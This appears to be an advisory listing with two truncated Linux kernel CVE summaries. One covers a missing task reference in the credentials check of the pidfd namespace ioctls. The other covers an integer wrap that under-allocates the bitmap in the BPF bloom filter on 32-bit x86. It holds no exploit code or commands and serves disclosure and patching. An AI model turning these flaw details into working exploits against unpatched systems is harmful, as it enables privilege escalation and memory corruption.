CVE-2026-89766

This Linux kernel vulnerability affects the PIDFD_GET_*_NAMESPACE ioctls in pidfd_ioctl(), which perform a ptrace credentials check before handing out a namespace file descriptor. Unlike the equivalent procfs paths (proc_ns_get_link, proc_ns_readlink), the pidfd path did not hold the target task'...

CVE-2026-89579

CVE-2026-89579 affects the Linux kernel's BPF bloom filter on 32-bit x86 systems. Two distinct flaws exist in bloom_map_alloc() when the computed bitmap reaches the U32_MAX fallback: (1) a 32-bit arithmetic wrap in DIV_ROUND_UP causes under-allocation of the bitmap, and (2) hash values in the ran...
